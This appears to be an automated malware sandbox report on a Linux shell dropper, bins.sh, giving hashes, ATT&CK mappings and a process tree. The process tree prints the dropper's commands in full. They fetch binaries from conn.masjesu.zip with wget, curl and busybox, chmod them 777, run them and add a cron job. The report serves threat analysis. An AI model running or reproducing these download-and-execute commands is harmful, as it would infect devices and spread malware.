144f5672af2c29c1ea3d4bfb0047806051d2d431f93295d74ae25cae1062326e

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
24-11-2024 01:00

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General

Target

bins.sh
Size

10KB
MD5

b00520b81436571f9d68b3b03239fce8
SHA1

743af9d3dc86e980ab8fa05c689f8434920bf1d1
SHA256

144f5672af2c29c1ea3d4bfb0047806051d2d431f93295d74ae25cae1062326e
SHA512

787a60732a86201c95ca447bd67f77ddf05cc0fc71ecec250a697e7faf0d33e1094452ab088ad3c98f6eeba8edbdbebf61d06efb1aeb262365f9ad8c69f0a85c
SSDEEP

192:tz5NhOHvcEdIUg89lmvLw7lP/5RqTfkIUg8NhOHvmR5RqTfI9lmvLQg:tz5NhOHvcEdIUg89lmvLw7lPNIUg8Nh6

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1734) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmod

pid process

739 chmod
752 chmod

pid	process
739	chmod
752	chmod

Executes dropped EXE 2 IoCs

Processes:

oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

ioc	pid	process
/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	740	oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	753	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

Renames itself 1 IoCs

Processes:

7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

pid process

754 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.JFAkpt crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
754	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.JFAkpt	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

description	ioc	process
File opened for reading	/proc/789/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/819/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/822/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/946/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/82/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/787/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/796/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/797/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/820/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/897/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/917/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/988/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/337/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1011/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/847/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/964/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/965/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1006/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/805/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/953/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/785/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/834/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/903/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/786/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/830/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/883/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/893/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/908/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/983/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/247/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/815/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/829/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/882/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/928/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/1018/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/812/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/344/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/925/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/996/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/22/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/758/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/767/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/801/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/831/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/888/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/927/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/5/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/769/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/791/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/842/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/956/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/979/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/6/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/808/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/810/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/853/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/861/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/150/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/383/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/708/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/770/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/974/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/116/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
File opened for reading	/proc/384/cmdline	7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

System Network Configuration Discovery 1 TTPs 8 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlbusyboxwgetcurlbusyboxwgetcurl

pid process

715 wget
730 curl
738 busybox
744 wget
745 curl
747 busybox
765 wget
768 curl

pid	process
715	wget
730	curl
738	busybox
744	wget
745	curl
747	busybox
765	wget
768	curl

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	wget
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	curl
File opened for modification	/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy	busybox
File opened for modification	/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	wget
File opened for modification	/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	curl
File opened for modification	/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /bin/chmod
  chmod 777 oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  ./oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  - Executes dropped EXE
  PID:740
- /bin/rm
  rm oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy
  2⤵
  PID:743
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  ./7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:753
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:755
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:756
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:758
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:760
- /bin/rm
  rm 7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV
  2⤵
  PID:762
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - System Network Configuration Discovery
  PID:765
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ChTMGm0gc2PjQ1EIJpKFeoaWxZvwXB5QAO
  2⤵
  - System Network Configuration Discovery
  PID:768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/7hdLibUTKlPzXJkTcFdTRd0XWg9hTPbQNV

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/oiD3mViTelQdH5JONqP3TYLCHfyiVSrHKy

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/var/spool/cron/crontabs/tmp.JFAkpt

Filesize
210B

MD5
be83b1f16a91ad5d4f87f7ad779a9b36

SHA1
b395fb36f8da43a8d1d5c1651b0869ca61867207

SHA256
b4a83d003bc124550bbd16bc9fb0c20460d48dc0c51ae349831f5388cb48bafb

SHA512
e6be13586b50576bcf4fa32ede9a6aef723fd47012d5e47343cd3c47e62b50f6cae1fbd8a3acea5b54986b8a8aca8889252e6b9f3cd78a16daa0c93ac1e387cc

Download Submit